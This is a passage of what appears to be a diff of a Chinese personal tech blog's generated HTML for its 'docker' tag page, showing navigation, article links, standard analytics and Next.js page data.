rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>docker | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="docker | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/docker"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="docker | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/docker/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/docker/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 